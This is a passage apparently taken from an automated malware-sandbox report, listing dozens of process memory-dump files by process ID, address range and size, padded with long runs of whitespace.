                                                                                                                                                                                                                                                                                                                                                        224KB

                                                                                                                                                                                                                                                                                                                                                      • memory/828-252-0x000000001C830000-0x000000001C852000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        136KB

                                                                                                                                                                                                                                                                                                                                                      • memory/828-247-0x000000001CD90000-0x000000001CE22000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        584KB

                                                                                                                                                                                                                                                                                                                                                      • memory/828-249-0x00000000026E0000-0x00000000026E8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        32KB

                                                                                                                                                                                                                                                                                                                                                      • memory/828-244-0x0000000000660000-0x00000000006B4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        336KB

                                                                                                                                                                                                                                                                                                                                                      • memory/828-245-0x00007FFAE29A0000-0x00007FFAE3461000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        10.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/828-255-0x0000000002730000-0x0000000002738000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        32KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1080-298-0x0000000034730000-0x0000000035730000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        16.0MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-250-0x0000000006E50000-0x00000000073F4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        5.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-192-0x0000000005BA0000-0x00000000061B8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        6.1MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-260-0x00000000087B0000-0x0000000008CDC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        5.2MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-193-0x00000000055B0000-0x00000000055C2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        72KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-194-0x00000000056E0000-0x00000000057EA000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        1.0MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-191-0x0000000000D00000-0x0000000000D64000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        400KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-210-0x0000000005630000-0x000000000566C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        240KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-251-0x00000000069A0000-0x0000000006A32000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        584KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-253-0x0000000006A40000-0x0000000006AA6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        408KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1116-259-0x00000000080B0000-0x0000000008272000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        1.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1200-186-0x0000000000400000-0x00000000011BD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        13.7MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1200-175-0x0000000000400000-0x00000000011BD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        13.7MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1200-177-0x0000000000400000-0x00000000011BD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        13.7MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1616-141-0x0000000000400000-0x000000000158E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1616-144-0x0000000000400000-0x000000000158E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1616-143-0x0000000000400000-0x000000000158E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1616-142-0x0000000000400000-0x000000000158E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1800-151-0x0000000000400000-0x000000000158E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1800-152-0x0000000000400000-0x000000000158E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1800-149-0x0000000000400000-0x000000000158E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/1952-294-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1952-281-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1952-278-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1952-276-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                                                                      • memory/1952-274-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                                                                      • memory/2340-170-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/2340-190-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/2340-163-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/2444-367-0x0000000010630000-0x0000000011630000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        16.0MB

                                                                                                                                                                                                                                                                                                                                                      • memory/2444-365-0x0000000010000000-0x0000000011000000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        16.0MB

                                                                                                                                                                                                                                                                                                                                                      • memory/3408-287-0x0000000000A05000-0x0000000000A07000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        8KB

                                                                                                                                                                                                                                                                                                                                                      • memory/3408-292-0x0000000000400000-0x0000000000435000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        212KB

                                                                                                                                                                                                                                                                                                                                                      • memory/3408-283-0x0000000000400000-0x0000000000435000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        212KB

                                                                                                                                                                                                                                                                                                                                                      • memory/3408-285-0x0000000000400000-0x0000000000435000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        212KB

                                                                                                                                                                                                                                                                                                                                                      • memory/3408-286-0x0000000000A05000-0x0000000000A07000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        8KB

                                                                                                                                                                                                                                                                                                                                                      • memory/3408-288-0x0000000000880000-0x000000000089D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        116KB

                                                                                                                                                                                                                                                                                                                                                      • memory/3408-289-0x0000000002580000-0x0000000003580000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        16.0MB

                                                                                                                                                                                                                                                                                                                                                      • memory/3996-290-0x0000000002770000-0x00000000028CB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        1.4MB

                                                                                                                                                                                                                                                                                                                                                      • memory/3996-293-0x0000000002770000-0x00000000028CB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        1.4MB

                                                                                                                                                                                                                                                                                                                                                      • memory/3996-267-0x000000000C1D0000-0x000000000C326000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        1.3MB

                                                                                                                                                                                                                                                                                                                                                      • memory/3996-291-0x000000000C1D0000-0x000000000C326000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        1.3MB

                                                                                                                                                                                                                                                                                                                                                      • memory/3996-269-0x0000000002770000-0x00000000028CB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        1.4MB

                                                                                                                                                                                                                                                                                                                                                      • memory/3996-271-0x000000000C1D0000-0x000000000C326000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        1.3MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4056-156-0x0000000000070000-0x0000000000073000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        12KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4056-158-0x0000000000070000-0x0000000000073000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        12KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4056-295-0x0000000000A80000-0x0000000000F15000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        4.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4056-155-0x0000000000A80000-0x0000000000F15000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        4.6MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4196-216-0x0000000000400000-0x00000000013C7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        15.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4196-217-0x0000000000400000-0x00000000013C7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        15.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4196-228-0x0000000000400000-0x00000000013C7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        15.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4296-208-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4296-231-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4296-199-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4520-206-0x0000000036320000-0x0000000037320000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        16.0MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4624-302-0x00000000017A0000-0x00000000017D6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        216KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4624-303-0x0000000004200000-0x0000000004828000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        6.2MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4624-304-0x00000000041D0000-0x00000000041F2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        136KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4624-306-0x00000000050A0000-0x00000000050BE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4624-305-0x00000000049A0000-0x0000000004A06000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        408KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4748-359-0x000000004A670000-0x000000004A6E5000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        468KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4748-340-0x0000000034CC0000-0x0000000035CC0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        16.0MB

                                                                                                                                                                                                                                                                                                                                                      • memory/4748-343-0x0000000049890000-0x0000000049915000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        532KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4748-348-0x0000000049B60000-0x0000000049BC4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        400KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4748-362-0x000000004A7B0000-0x000000004A869000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        740KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4864-150-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4864-134-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/4864-132-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        80KB

                                                                                                                                                                                                                                                                                                                                                      • memory/5036-336-0x00007FFAE29A0000-0x00007FFAE3461000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        10.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/5036-337-0x00007FFAE29A0000-0x00007FFAE3461000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        10.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/5088-254-0x00007FFAE29A0000-0x00007FFAE3461000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        10.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/5088-262-0x00007FFAE29A0000-0x00007FFAE3461000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        10.8MB

                                                                                                                                                                                                                                                                                                                                                      • memory/5108-188-0x0000000000400000-0x0000000001518000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.1MB

                                                                                                                                                                                                                                                                                                                                                      • memory/5108-189-0x0000000000400000-0x0000000001518000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.1MB

                                                                                                                                                                                                                                                                                                                                                      • memory/5108-181-0x0000000000400000-0x0000000001518000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.1MB

                                                                                                                                                                                                                                                                                                                                                      • memory/5108-183-0x0000000000400000-0x0000000001518000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                        17.1MB